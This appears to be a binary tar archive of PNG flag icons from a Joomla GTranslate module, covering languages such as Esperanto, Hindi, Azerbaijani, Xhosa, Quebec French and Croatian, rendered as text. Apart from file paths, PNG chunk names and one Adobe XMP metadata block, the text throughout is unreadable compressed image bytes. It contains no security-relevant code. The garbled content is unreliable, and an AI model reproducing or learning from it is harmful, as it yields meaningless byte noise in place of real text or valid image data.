3(��0
3(��0��
3(��0�����֙�zw��zz+'IR�c ��<�<�<�!��(�R����W\��P~���~���À�����rUR�E��kvy|Qy���/����տ�y��eo|Ϊ(�b�cύ7w�}��R$�J����ٲ믑Gy�쳫N[�5�,�Ķ��X{�����/�}�.�����0>>�)y\�����ο}Ɣ
��zy�Gz2)��X9��EiN_�����(ttD�j�?�.ۗ��m�ٌ��?ӎ���Q�����zx��q�9Q(�"i4�CK?��~�L�p���#�<�F��䔟3&�C-�����Ěm��#�<���nyBz�߈�.oŋ�����^o�{�4��X}�<r���v�^Z�n9%Z���G�w
�����A�MA9��l5�ܥ��j�5[�9�q����A�'�7i��߿Z9呤��U�Fm�CQ��'Q]̿�yQ:��h���𷮏��ˢ��]�����\�m�ե���~t���ï#�ף5<͝;����Gc��?�xp�¤
�F�M�&=�<j�F��ʱ�22�����/��6��'��c�Xz�H|��~�ش����'��_�zZ��S�G����Qy��/_zG�v����k{c���O�q� ��p~�����L8����.y�G���Wc����m��1\��C|Ps��}�M�fM9�U^w_��Y��a�b��/�ڃ�bӻ���7�O|�}�eq�Yg��O>�������1ʹq��Y��l�ѨV��uk�=��1�W5��f��#�¶m�زe|��p	NGG{����y�s���/'k�ՠ��#��f������|d4��v����/� �替�>{W����%�77Z����&;/�*�p%��E�1���X9|�^?J%�.��`�������E��W���V�f�Y�=�J�Y0߰�rQ��b`l$ʻ�n�M8�\�z�z��ʶ�1�nC��E}d8v��#�s�b��>��=�:�F�1��O�m�pz37�������+>K����Hu�Q�#щ_�`~Ol�6d��^�D�%1����w�;v}�3Q�;/-ɥ�����ۋM�����6���ϊ��f�ٚ����uwvFt�uF.�\!�e;.'��?<��e�����k+񃛮�gh��� �n�j���s׬�7��]�jY�]��m;����;�Ďs�8����Uyy��2_5[CQ�\��h�Ύbq����v^���rl��ʮi�)�9]T�U�G^�3��5wF�����^�]ciY�*v�����.���]�6F�����/���'eJ{�����<�󺣳P���`i����k��?�;�04����[�s���?IV����??ʳ|��Y�!�V'-@������=�?���u�Q���_:e�k׮�׿i(����K�x�����~Q43�_�-�������tΚ��c�sׂ�ñx���n388�p��w��H�}���P�v�g�pN����|���k�oj�in[�o}��J�|��K���x��ǒ�}'N����4c��>=��Z)])�c���S<���|������z_a���&�R�p�F�͆3�y��������qϓ�ß�Dt̛;���B4�w�wIF��~a`��&�<�;{����O��(_C��|��݆ÜG:��g��������z#��\B����}O,�Y���B���/�|�0onl-�oGj��,�ޞ�qj��Xؓ��?�|u��(G�י��ցԚp_����W�����<�x��o�%��Sm���|"Nh4��ُ���b<ᧃѵc(-�Go���0��NJ+f�C7l�'��6{?�3��U���1���w���<�Ԩݾ&jw�;������=~vy�+j�zT�ޮ1/��͘{�ّ��w_p~���5��kP�?l�夷T�7��'6�:�#_i��/zF�1���>�������S�z;/sn�1��r�M׏t��rp�ͯ�c��fk�Y�BG$��`��`1]7��eŎ�x��1;.��\�bz`��<�V#�U�9/ci��b��sVĮ7dž���]'͍�]�x�U?��]���%��
K{�����Y�ryt_a>��KG�9���b)��[umt�<=�6E㡇�ey�w�Ȯ��xJ-7�����7'���,��c�v\N^�fl��,!��I%.|�3��E��O\�&F��Q*��r�L^6�����?���~{g�=#c��Tq�f^޺�}�z���E���P;cl�<�RMZO�3��I&��I���l=ϯ07ji��/~�x�9����yw��ĵ,��=�xƏ�ę�A��̏�J=ʵʾ�|�E�F��Y�����/�V�E�.*�y�v�O�v�����E&�4W]��ㄗ.&]�Q(����򥉓�Ğ�lDՋ��;�)���_iDWg+.xҳ�Y�~+>��ۣ�lŢ�=8u�&/so�1��{yh͚��γ�rZ?z�	��8�w!������Z�]I+��G��5qA�G���j�lŒX�⬨;�+]7�x±q��G!�&�$�s����b�y1�W�j}oa�7��14x(?�u��x���g�����<�<�&|�l�˴<r��74�X���{B<v��x�Ǿ�~]E)��~�_��!��OxR�:�m�ßG����u��(�c�m���z��I_�xpDG*�F3�o�5ciך��${�K��٪>7�-Mo}����EO[�$�%�çP(�C�C�C�8���
s��O��\��5�m=9ؕ�B����<��<
��J���rP�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP�@afP�@a�fP�@a�fP��fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP����N�������cwg/����ߨx��J�1�+�xb�^���	&5�A#n#F	�ʩȱ�.,{�=�w�[ݳ;;�\{5A���O�=]�����=U�5 0��3 0��3� 0��3� 0��� 0��3� 0��3�@�-�l���+��RNӴ��bA�D=��P�C=��T�B�?s'.���Ɔ
QX�4�?��;����o���)�^5�I�<w��.��K��?~qt�7�ɯ��=6���ԣ����^]��1��R$}i��$���1��R��ds_X�y/h��9�X���գ����y�T�.�c�/ڭz?��cg?�S���뗟tG-�|�d�����7:�w��K�?��8�1s⪥�X�¿W��i�H��X���F�`ax���8~�s_��G�#�m\:�Q�>�d��h�k���I]A���F#�}�����؇/ݱ Y�#��a�zt���E�{|�=�����\^���r���Pz��d��q��=�c�,�E7�G��q�_�0�}袝M�Y�Ҹz�zt�i�=��s�0~����R�G��x��_>��];��Y}H�u��||�������\�]�����ߛJ��=%"��ұGGn�ܸ���̈\���ȟK+�h5���Yc���{�N5C~��H�+��r��#���2\��p[]n�cx�r��}�n�ݩG�jQ�~"j��y�գxH.&��ph�sf�vSO�Q#�t6b�ål���\��]�G�ֈ�Z�Ug�%H��p���h^O��
��R=�cA:6��v��f���r?�\�O_xG���e��y��V���Cq��Ǯ��ձ����F�^�'��w\�6.R����}�ي�-S�E��<�+o����
g�O�s�s������Mf�yтh����4��f��뻤Z��p�g�mu�!$t�lv�nCwԇj�_8�Mc1�9�֢�lX�v��ƒ'#� �+Ek��%��MU�u��?-������_���zґKﲮ�lF����j�FFwj�0~�����]�Y^}���9��>r >pBo��J�m�<4�����d��b8^���I�G׎W�X�/�c��u�r�x���m�������?�զm���!�DO���7k42�Ȗl?m��T�VQ�n���^}}}�>�V�˾�һmS.����5:�z_0��MQ/�g�9b��$潴�^ԈV#��)���Yh���AikD<f,�g��j�ڬ�c�`9�t�o��l��3���zm��e��f��;����X�\#Ie�pqO�ǂfol���]���oDa�h���*�~�{Ml>���}�<�C���Kǫj���%�G�5��'����t`���r106���8am%���w����ؘ�di6��X�������?,�����ʖ-Q�V#7gN�W���`n` *yW���Qd���gln{�#����5}����t�ƝIT~������ovnm*T�f�Y�~|3
�:��f�o�w�P͎U3s;o���=u����v���
�Q.W�Ճw{���̟����[*�J�Z5��Z���c�K��zu<������=���e�y^�u���#,���ߞ��x��N�y�φ��	�…:�&˃��e�T`��s:�������	�d�8#0g��@6�'� Թ��>��(�Zz�K���q�������#⡫n��6�ׯ�8�@������B�W���!�uI�}~=J�hD�e�ʊ$&�"��B���xH!��o�.��Vm��z6��ܿ_�νfi�C���6����m�/D�uw7�oKe�߶k�h�G��r9����|�G?K?��(_|I�~����ш�+0���[m��	̏�+Xz��V.~P�����W4�ǯ�>l����uߏ���f�c������S���E1Q������ӧ~}�}�.���+F�:���?�F��Ds,�R��W���|l���N8hM�b��1���l��G~ �
�T��O�!Y0���0.�bꋱ��Gj����s��َQ/o{��tfN�&?�ž�c�ǹe�+����Ea��1٨ͮ���?{���/�Fcs����낛���\*F�V��?aq|��Ql�Q{�%S��/<���+�-?�\_���S�-��?����xo��>�ѩ[3Z3�^�$��W�^���ڜ9ѓ̍�K;Oʸ/iڊ��{������m��O޴��G�Q�v������C���q!&/-�kj��1�Q|X5��]���j>i�
�q��-��z�n��x'O1�;t\����$I�&�t��v��$�Qv�LǏj��93ƊG��?�:�ztm�_���}��98~��/�h�g�cC���֟���O__x�~���3��DebR�u�K��9^u�N�'ĴoiM���j�l�Zm��K'07z{"���hQ������%�.j�m)���ʒ����lf`V�.�`õ�yB=��d=�/��od�˼��!����(�y��/�������G���z��i�f߷��x����#��A7�W�Ǜ&��N�0~tu�����v���C=���8��b��B<vC%>����d|��2O\׌�)����Ƌ��o��u\�&���z�����ǝ�T�5�L���߁)tƟ���ꛣ5�)��ݥ�d�nЅ�]�>�-��?X�bE�1<�������Gϓkq����_,��?���<�J�&���&+[�{#�ɦ��Lb��Z�}�p����|��F=~t��w��q�	�W�.ԣ���^�[_A=�P�V�#��S�H=���%��0O����v26f��ي�x�vg����;wu���q�A�x�S�fI{�zt�x�����}?c���M=da��n��K̼ So�m�i�%�ҿ���5����t\
��$I�C=P�@=�C=@�h�u���]}�L��zھ���YP�P�C=P�P�P=�4�m~�'��� 0��3� 0��3���3� 0��3� 0��3 0��3� 0��3� 03� 0��3� 0��3���3� 0��3� 0��� 0��3� 0��3� 03� 0��3� 0��3 0��3� 0��3� 0��� 0��3� 0���K�l)fK���]Qϖr��uݸ�$�� �l���W��|w_z�i'g/C�q���
��x�;�����p�.����хz��?����r��v�zt������������[o�Q��=6z���}�
��n�F#�}�εh��N#��a}��>�^�7�c;:��}jm굕��|~F9��i���/ԣK�h���e����#jc����y�k�]�ǵ���˧�5�_�������sSǧ�9`5�-�`�s��h��x5��g�Lg93-^��6��n�է��[��٩B1)�!�+�-���g��g��%Qk�գK��5�1Z�-�(d]�Ƿ��;Z�L3�r6w���|�wx.�༸~�ۨGw�v�H\p᭱pa��zX�q�x���f��Y����Vs�`�sT���v�����:m�f�����Y��ᩳ��F��ٯ�o�9�lY�Ro<��gu����?�j��㺤ݷC����+�o��nL;g��Y+e�"jcI���Y�Y*Kr��E��o�������?�������x|������YsP�`�s�R�����t��o��.��[���lp�����k�8���ĉ�����#����Ub�2uE`�Ȧ(W�:�K��l���Dqp,�x}-F��լL� �l��3'��K��?�?��6t����1�~<��ū��G̉�7�A��o&���fFh��j{�����1����ѝj���|.��]Q��ֶ�|�ڕ��I,�Y,Y�4�oYwnY�/�ǿ��he�```Q���в��-C�ǃ׌E�͵hG�t�}J�lY̖�#Jq�I�/̍b=�q]̕����12������>3�sQ_��
k�럻r����3rY��u�-75��ըG�j���޶݆�T*��[i��I+Vo�#z{z�OOyU�ƛ���^�:k�̶�Tԣk���Qoĝ��)��оw��}�g?�g����j��o��6to�hԳ�n�پ�Ě;��O]�ʼnX3�x�_<v��2�%W�H*��)�US�0g�IR,u���H��P��'�~	�[���f�M��o.�wڻ�%�W����E���?�VV��գZ�|_l���7�Ż~ތў�F��@i�@6o��G�b�ܴ={�F�ͪ�ֽ	LV�Bo69�~�ص+�����q��<+οp�xћ[��_���i��s���%�tۣ�vbio[�%��%0'1����������uzw����7|"N:������z�}���R-W;����gS�3[��ީ�a${=�B|�b$�N�:�V�3۽zd�����$+���W�����㟾*�{�q��g������xU5�`l}JF6���ER��?������@��oKŞ�����&߹�|�w��|�K��CY)+a��ڤ��Z��,t�r�N�����"����ؗĦ��<����g+۶�
L�Q�RoV�R�K}iL?�����nY���#�������^��}��Nؓ�\o����z��Qh�7�X�bE燱�#S���f<&+�z��}�3����z��4��l���X�+�%�ȖM�����Ys��8Ԋw�,�8�?nZyd<���F=�]��57[�dK�.�m��ܘ��n܋I�P��X`n�'kߋ��Ŷ�S6�lj�ƽ�C=PH�Ozw�����@`�f�@`�f��f�@`�f�@`�f@`�f�@`�f�@`f�@`�f�@`�f��f�@`�f�@`��@`�f�@`�f�@`f�@`�f�@`�f@`�f�@`�f�@`��@`�f�@`�f�7t�#I�b�җ-�]lZϖr��u���۰�쮹OzŹ�w��_>���eH��z�=�E�U�e�K=���?~~���9��o*�;'����Z=�z���4�a����d��/~��3������c�t�6N�(M�XqÆN[m��#m6�瘣v�ٿ4�W��:�`��?.�y"^��e��_T/�3�~Բx��+����'v8^E����_����]�Z����2\��"�e�-^��6�;4]�GZ�G:6���=$�ha�ۨ����G������������c��/��f|aՃ���k�0_�|4��Rmv�
���7|9zz��,��ig�I��(��Hzz�zՊHz{"ZS�r��aM���9}ϋ��cK�uSkƲ/��>��(���͋n���n�(�&0i_��wd���u�����������MQ���8�����~�6FF�E+�Q���N�?�\.���[�fv�D���h�#㝓�s��������GEn�����1��g��w/�����|LV}��[���<T���J��V̙�~Ӊ�e�;�=lQ��Ėͣ�%�l��촁}�q���߼2n�(�{�	��~pK���q���1<<9�]+��׳�-O�ﻱ"0�����VEs��(rH�y�)Q<��(x`6��c��=?<ƿ{Q�n�)��弫��R)W��ՃY`�FZm�1��4z��E}�S�ǭ+#�+�y=QLj:�}���y4�)�7��}r}��s���������f6�l��g����3{!0���"�7"7wN�6��,0��˘i�㏍��#7o^�V��k-׭zT*���3di.�����;��aZ�Y�qp"nZ5�|D�>��le����'�NLF)������4�R!
����x�(�&��/(��(7�a`%���g髷���l���p��jN}ż<u�r�;�[��:��D$M��[*�F�{sь�&Y]�6W�Է_�~É�S�Ǚg�4��1�S�l�~�I3k��V��bo�+�b���ϊi����$����L
�O����oTf��I�/��yu�Z����'���_�=���ݙ�p���oo8'�i����+�.��o�l|넧�'n�����:��Z%��D����h�$��nr3���^� ���Q�k��3��Z��l�)�;�}�V�v��A��/��N�1�Vk�
�#ǫ��V�J�~���F:��:�n�f�H=Z��r��e�ף��q��z����Z���>7l�S�'����}S3�$I�f/K�����ߴ1��z�o�!0��P������.6m��z6����z�o�!0����x�@`�f�@`�f��f�@`�f�@`�f@`�f�@`�f�@`f�@`�f�@`�f��f�@`�f�@`��@`�f�@`�f�@`f�@`�f�@`�f@`�f�@`�f�@`��@`�f�@`�f�G$I�{�G�����aɔ����i��V@+f/}�R�Ŧ�l)g���ŽZ��Y�;��675�>�!�د���_�'C���>��� 0��h��S_�<��e�	�O���(6jS#M��<��]v�����sH/��z���g��O'��;��q�~�o9�/�Z�/�����!0���>�_,ߝ��{��W�o��.x��K���9����hU��a��o�;b��|�t�ndz�5�v�f�h/�NV#�8������+~z�.����댯�ݙ�~��l-�ǫf+��0�.+Z[_s�v{F+׏9^3{$���٠2�ś������>�ק�07�ٲz�t�������w��K��\���s���`��O�]}ɥ�\�r�Yoz�g/8�笏���k�����l�d�c��wWd:�����bh��G�y}�h�q�f�H�U��0�yÑ_���-��7��-m�hFkttz�$��f����'�Q��'���,0WpI�Z�9�tÓ.��#Nz����;�
g�k�O��1Qi�de�J����;�?�f�석$�63{V�ǏG�Q���v,zOhE~q.�*��i5;�kI��G�7�>�U*:�K�z��rTο0~��?����W�D̩Ga�ukO}��?xٯ~�WW�[4ؗ&��d}�\�en4�x�!�	G���Y�l�9q�
��[��4WM���=�����3I�x$�i�F�v���A�ZO��j�����]�얱-���L���x|���}�����~F�=ciߘ���K��j�o:��������f{ū����+�).���w���S�fM`f�407�Ѫ����y�B!���s_`t�X������Q�r͝��S
�s��"�x��w�r�K˧�'��{����]���̾�R�Do���0S;C7��q�e!9�l=r��[��N��=2v}=&G��P���4�[�h���Ǖu���Q�{�i7�<剱��w����㩗�8b�/���k}��\�w�}50W+Q�om��gǩu��q淮�F#�G<x��fv�j��m�:���4b���(_^�����I�RIL?��}ms���*.qvU:9��}yj�j���_���Nz��d_b_U���\~�ѩ���߬��r���
�
M��ܯ�N��m��qj?%�ԗ-��S����H��%�g�a�V˗h��v���/��̥~�uӟ?)Y�W^��_���׿��τ3��k�F��	��ߣ���X�=�lo�n 0�'��lD�vx��7�x]�>��V*�e�����;�z�䈕[���.��r�%G?����?"4�/�Z�Fܹ�W��V��-�i�ZA�dn��$[�w�i����Y=��^�Go�2?:��W���D�Y
�z�+�+@`�{P��e�~��.6m��zVOg7�~=Jq�(�[k�P������3� 0��3� 0��3 0��3� 0��3� 0��� 0��3� 0��3���3� 0��3� 0��3 0��3� 0��3� 03� 0��3� 0��3���3� 0��3� 0��� 0��3� 0��3� 03� 0��3� 0��3 0��3� 0��3� 0��� 0��3�o��)R�I8�IEND�B`�mod_gtranslate/tmpl/lang/32/eo.png000060400000000632150746170550013010 0ustar00�PNG


IHDR  szz�sRGB���gAMA���a	pHYs���A�tEXtSoftwarepaint.net 4.0.12Ck�
IDATXGŔ=AQ�o>�� �l��,&��� Q7_��,��ŀb��d��r=��ROR��s������t�c�+T*�R	�J�Tr�|��<��~���%kwmv��
l�䜜9="+И6�F�=cn	����!��"^�#\	_�ZI;�ּ|?�a�>H���f"*`�l�J�럈֢8��I�L7���
�s����,3��fw��YR�]+��{��j��o�R	�J�TB�*�P��J%T*�R	�J��_�R	�J�TB�*u�:b]*��S7*IEND�B`�mod_gtranslate/tmpl/lang/32/hi.png000060400000001275150746170550013011 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�mod_gtranslate/tmpl/lang/32/az.png000060400000001472150746170550013022 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엻kA��;7O�0
A�NE�-�h�4ZX�6������`gci�� ���2���`�B�	h��>wvg�X�����^�ͦɁ�����;��Q"�nJ�.��@w��S`40x���Z�K�R0�����P1u�p�>]�@�u��X��$�H�Y�I��6t����[x'D�b��e���X�����"K�ؿ�8�::0�զ
�BH�`��ZO�Փ\�:he�:�T1TjqnAhb�x��
]�@j���PO��S��!�����/�z�2�6`-�\E����U���=$��@uvE�wHݴ�u��GL�2 ��+Ę�Jl�*��m��)>}֘C@��p�%$�K"��Z�I+�$�{�L�����g. �j�}82�ċ�`�/^j��V��0���j���+E�\��)��]H���$q˷�R(���O,8�7T2�4�����߼c��[�k�����gp++-cڪs���M�-�m���+��ޣ��qF�GON����V�p�kHb�,d�*/H����8�bb~^�F������cc�RyGc�*�$q�@=�ʂ��˧v��n�<֨���|�J��6��=�vB��f���l�Ʌ�$�^P�@�6XoVB���zs�%�D�Rq}7N�N���xΓ��T�N0�h�����t�����o�oIEND�B`�mod_gtranslate/tmpl/lang/32/ky.png000060400000002026150746170550013027 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���nE��S]=c;;F�@N�� Ed	/K$�%x(�سb���l!!�ـa�]]U簘�=�x��x��J�jթ�׹�%f�U���(�v��sd x`y��O��b�������q��{��U��
�⁶�u����(-E��4�S{�J�i��}ne��$�FV��M�����O������j�V�g���CV�hS�Ԅ�<�|�c1� %l8�FP�����L�+�?Q.Ln������nf�%ÿ��[�_S�U�|(�ǎ�'��֓�-a@�OhL蠏
G3�m��2�ה���H{��J��wG|T`�l�au=邈�XU�U�l�U�x%Ӿ��	i�`᝱G_{�e�~FK��:k��N�d�&-`)��>�Q�m~T,K�X���|��6JZ�F���Rm8�͈_�(�Kb�PO{3AR�'d�#s:�dh%����]�x@z��}�`��@�u���`�����6���8�4�,��~�,@*���[��.��q�����J��Ѯ��aʒ��9���ʹ�հhh�H{��&z<��r=R�G,(�/ZoFҞ��A�6F�g̜єNXJH��rRyߨ���k���w��w#Q?���>ק��a1�B�#�gd�Bz�Ȇc����;c�|6�u��W��%�]0�٥��Y�R�4�f����F�/h�+�	�]�~Xuԛ���a:@J�@S�'R�l�A�ޑ �␎!��B�+��lv�j�<�	���/b�փ��#-�jDj���ʏ,�Ț�=�,҂`������K�-�T�K�I��th�5��s�d�v ��a�;WNظ;pxxqδ�ؔ�M�i�y������7�9S��uIEND�B`�mod_gtranslate/tmpl/lang/32/xh.png000060400000002510150746170550013021 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��klTE�3��.�}A��Q���
��EBRTH(�h��D��G|�h$�PK�р0�"_0
P�P(D*�>��ݽ;��a��.M���p��{g�3�9�?g�cwS$wY��R�;)��@�̷K[-�;~�V-�`R}3-U[�n�o�}/Q�?�򤴘1�$
����Gp��0e�6��qn�����g���@���8ʡ=ҁ1`4{~��s�Lf���Ȫ>L�T-�C��q�����mz��!��Il�'�4��8q'�3m�u�h���E��7��}��T������,���FI}��|]��������WZ��"�w�\�v� d^.��"#�-������/+�s�wQ����5�B�ܔ'���/4�$S��r����rA�[R!$���M
�o������eg�3<��g\.�(/'PZ���E�q��s����G_Z�p;���Z��aT�?4�QNO<tg;�������~�ȑD�Q�J����4T~�}<�8��gŢ
J��}s�љ�Lۂ���S�(�0aB}~~>�X�qc�޷�9��_
.5�KPx.Xvo0t�2�B���ĝ8�U?�I�)��0��Pw�﮲����;�t��B�J$�B�O�'m�롼D�����ىR��6
��jKvl�S<�|��i������e�PJ�D2X
$Q��&ɍ�F��Y>��2=�.���+�^�#{�E����.�R���F���z�c����h�Y���C6�;$ӗy��{�F��Q��M�<��CVP��G6��ڬ��݇�$�N[B,ΠP��\O��i�Ò0�ڡb�L�
��c\���‫�\,�|��k�Ŵ嚦�@�ɌeD�&SUQ���s�����(ҒEFFl��$ෑR�n�+e��v��̨�Ԭ�!�6�WU�Q>�Un�a��fʗ~E{G���e���DZ�T e��et*Q��WJ�l�=�%�&o"Z,NNn���D���,|a�O4��D���:�O�'Wk�Q �&K�!�`�cө\Yɩ���K>#����G�N�Ҧ��K� x�ռ6������_��

���d0� � '��J�qF?��+>fP��,^���-�5x�J�t:���<ɬ�3�P��w]es�F���6�3�U��0������7��䤞wR�Sܻ��m����o�ZIEND�B`�mod_gtranslate/tmpl/lang/32/fr-qc.png000060400000004340150746170550013415 0ustar00�PNG


IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c" xmpMM:DocumentID="xmp.did:5D236AB571BE11E2BDE8ADFC4C407057" xmpMM:InstanceID="xmp.iid:5D236AB471BE11E2BDE8ADFC4C407057" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4D4ED459379DE01197678DC80A35758B" stRef:documentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>*@��IDATx��W[hU�f'��f��M�4״�5/X��J�$X�F�R((��f}ӂ��
>��C/Շz�^�hi�PA��HLM��\6������?gfwg'ۗ���ٝ�������3
��)1l���������La�V]2�G>+�1�nj�Ĕ�$��NC�f�4D����W��U���mq M����h��O�w	1%�}��40ۙDzK�׊@�'���*6�m;2(�b�k���@��\� �2��P,Y�LYZ���a�;��<�%�8�2@G7z|�z~D6-�l���Fp��i\��z��)��L�㈑		��a�0,抎[��a�?��%
w>��K����1�y���&�Bi�M��z ��iv�uȘFA�Ű��B�t�t��;��"����
x|t'��U���y
��E��`��>\�ZAn�녾X��16��&���P!�&�.��^@��0�����O�,Nu`8��G�@ل�s%�r�,^~�!|51�OO]:[ea�-��3�A�hB�������_�](!���;)�T�����]�C�"�4_©3Wpyz
�n�����˴��Q�m覟$ZP�)b�t���(�T�|�L\�ń�g�)��ʀ�2
`ɓ� <(k^;����2`���ȟy��j�f�T*]ڌ6��d�Z6Jg3��1�w�&J�Kc��<��31�����_�����I5��+�F�":�F|�*zol�tw\_�e�;ԅ�O
�/k�[��D<҆����8�C�"��%bVmb.�u.e@P�G,�Q�����3܍�Ϗ�+V�Q��K;��(��s1��C����1r�VS�LIs9e���D�9��?�O���s�x���б=N#큮�@�Ɖ�Sے8~b�gq`�NS�v1cnw�#q��dA��MI�^"))Q/.Z��Qa���N�=Љ�UYzJ	>1h1�^��ϥq�Q.�x��A��BI,�IL��]�3�X̗������Cx�����;�]=AZѱ8�
D���*���n���cf��T6�a�~�t,~K߰$�]r%��ߞ�B)��65�Cl���߃V)5�K^�|~��խg������)�˯�(3BT���KziO��0��+�7A:�7S,�����f�G��6�7\���IEND�B`�mod_gtranslate/tmpl/lang/32/es-mx.png000060400000001745150746170550013444 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FkIDATx���oE��^ǎ�ZR\��JU���RK�*�J�	 q�3�\�'�q��r�_$�Z���+ڦ`��͇��~μv]o��6"r.}�W��ݙy�y���%"�Y�=���K�Q�|(�q郵�5��O_y��W�|{�-�>�x�
�-�X8t2!@R����¹��7n�m ����M��k�ܮ6v���DV��>@����E>~�Jp����|56@d4^�������l�Mu&A�l$
�����
�]a����Lmg��8���|���g�3x`t�&�	=�C2�F���pw��]����9ř��#_�S�n�� i�
�B=h;v��u�?���[�Q���b������!V>�q"�T���A�����D/�(�]~��:��2�g�ce�k�򆬆�?�Hu��Ͽ��:c *� -��h��%4Q_�ּ��{�*˷��Z���…�ܾ~��V���*���0�L�@��w��?��XS4�uf��0{j�j�'n��93g^�|p���o8���@6K�XL�Pk�L:�{+"Pߏ{T�+��?���f_~7p��1���F��/�Z��4��Jb��`0�8=}1;�<�f���Y��^����-}Kf�,k�B<�O�1�ˎ�� a
@�
���D��ɹ���w��1N�8�}�05q����e�)�p$Lg�����`�U
��|�V��8s��E�'�v�ǹZ-DQz/�۶���&KG������
��ص��H�qV@�#3�:	� z{����NA)Eal|w�څ��]4	�
h���9p���P�[�!t�$T�y���u�J�Ť��@K=���5�;���+�IEND�B`�mod_gtranslate/tmpl/lang/32/ur.png000060400000001711150746170550013032 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FOIDATx��]hW���3�k6�lT6��ǿJ6�?(�HK[m-!T+h^A��c-��+ŇR,	�VBkm�P[hI��&B"�]��;��a'㮓�	�&/8�̞sf�{��s�
��)Y^@���B��:Ь�����{lW�S�0t��2H��c�����ҽ��*�G@BPʿ~����m*�K�-����К�Y�՗�2��
�d�f����Wf��+e(�X4��X���1��f��̹��|V���N���'�| N�h8�ɀQ
�H��C'�M�A6`_oࣾ��������&sU�D`9fx��4{����W�00x:`_�s�����!���Эk5v�%ۜO���HOW�}o�q�~x��T��r���|M{��߳��5��Ɠ*۞�(��=�Q�M�n�3݉���F���u8��Qr�<!�JUJQl��v��&lmiE1=J��VF*M%��i�g9����r�.武�^~�e^} �EI%S�Où�W�����>D��;�3�:��r��R��̥/��p�{֯�	�Mi���W���
�@������-�n~���e�z�g�b[��t���H��ֆ7���7t�u1���c�T���MӼ��f�w6V5S�@"�`��|����_����p���ϫb�h
����*�O�^(O�?���q`�~���L�!�xn�����
�t�q/�H�<6��P��0O`[��b&���΁B�Y�	�O=L6%��1�N��g$�|~��pr��i���@�H/�X��P�f8���@A��s���t��p5�IEND�B`�mod_gtranslate/tmpl/lang/32/es.png000060400000001551150746170550013015 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���kUG�3gNN����CbE14R�v��.�hi���s�K�]���P��"���"�h!R���BD*��hrss��̼.ι�Ǐ�5r���0s�0�<�<��(a'C�ñ@u����O��a�������@Ծ���Ӆ��"�I��5@J��oK�K�6�d��ҿ�k��w=҄$��#���JV/��,9�,�w7��n5���4�됍��T�@�-10y˂n�t�4���@��+��=	Ȁ6�Y$Xk�l��F�IǞ��8�r�H��H�"Z?wA9�9��L\���nJ�,�H���/1S_�~�r�`�bdƱ��Ľ�]��0��q���޵�b��@zd9��1}�,��,�m188N�؏$�1�sW8yР�Mp�U��'���[(d�,��k<��S�.119E�w�]
�{�E��@	BP��i(������l
����
?�q�+$������`�?��HV���-��V)�3��Cl�sI��d�����?E�&�X��]���Llqr�i4̍�Y|TC"Mv�4��/=`X���,`��m0 x_b�{A�"�)�}���s���n���Ơa]���vmy3+��>�^i���O��bHEg��Ո��x�6�3�A�ӊ�;��λ�O&|���'A�	EPP%�
����$(�6���z�w�b�9�'��������xԋ��H���}��4����i�VY#IEND�B`�mod_gtranslate/tmpl/lang/32/hr.png000060400000001726150746170550013023 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F\IDATx���oE�?�����I(�UѐGT��m8D��'��H=�?�Ρ�J\�z��
�qC�$P
�D���j�64���ݙ���M�e#Q��w��̛���Q"�q��1�+
��to�i�w���ǟ<S��Ϸ�{w�0�,�앥䛥ǝ�7��:nL9@Z�F��|Ge!�9l�MpbR�:�E5XBg,�7���I�����mh��ߏEl[��w��Գ'��:��d��������-����_��o2��ZK,#��8�H�C<oh��C6�y� �S����k�,�w7X��L���9Nζv�7E�Ρ$�X
	��5��ĴZ���֌ןR�)�����2&�G�7x-���A��K�_0�6&N؎��5���4`�����,�_"�U8I���c&�@��윘&_��eƙY�ODz ����N��$�m߼%�׮�k��7o%
'@�9J����5�V3R{��D�@�q��]���ȓ古�|�?_[���ּ���H�D��[�R��Xw�|�w���7V�΀���Jƀ����֘�7B%�u2
T�n�Œ��q��J�5�KkJVx2���iL�
